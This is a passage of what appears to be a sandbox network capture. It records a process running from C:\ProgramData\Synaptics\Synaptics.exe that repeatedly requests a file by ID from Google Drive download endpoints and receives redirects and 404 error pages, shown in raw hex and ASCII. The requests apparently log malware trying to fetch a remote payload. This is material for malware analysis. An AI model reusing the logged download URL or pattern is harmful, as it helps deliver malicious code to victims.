ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49907	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7OdJCWS8GWAEHBcwq9-Px8Yju_OnCITaRhviMQbE3wSvaOxGaTnhi9cgRPSTnDoLf6kj_QWqc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:29 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-f_QRoN-R3_X3EOI7Zi64Pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 4d 45 41 73 33 51 32 6b 76 73 70 75 5a 4f 41 51 45 49 7a 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="cMEAs3Q2kvspuZOAQEIzQA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49909	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:29 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6xaSrhQGJ7C45JGhr4iSRwnGFFyeotzcyAm2_ZFNOGcUZasMQ1ePeTyeS8GUt0BlQq Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:29 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-GsATE1Ush8VDnI0-lNqljg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:29 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 78 57 58 6a 64 68 57 42 54 35 57 2d 48 53 71 56 4d 62 5a 58 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="5xWXjdhWBT5W-HSqVMbZXg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49906	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qROhThQ6B9FoF5KN1Q_ERg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49910	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--vIuT3sI1IGFIQn0QfRR0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49911	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-t0qkEDkeUR5s12yxOkfD7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49912	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:30 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5WqrzH-iPZTlEjnXDTWu7TyS72tZNy28xrTz2JtzN-hadObIFDR7nOeXLbLfPfjclDweZMlE4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:30 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-r3eitq1jYeCaWXAZSPMktQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:30 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:30 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 51 51 6a 4d 33 6d 43 74 49 37 55 66 6a 44 4c 4f 49 4d 30 58 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="AQQjM3mCtI7UfjDLOIM0XA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:30 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49913	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Fqi1WEa4vOyMmeEVhklbldU-zCzDqQFLefD4J-3jXHsEGqS0aWAZ9weZ2mspWs8nu Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:30 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QYOnLRHkUscQmDqoGKOnXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 77 53 70 66 71 39 37 62 79 4d 56 2d 4c 35 39 74 64 34 73 57 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="kwSpfq97byMV-L59td4sWQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49915	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
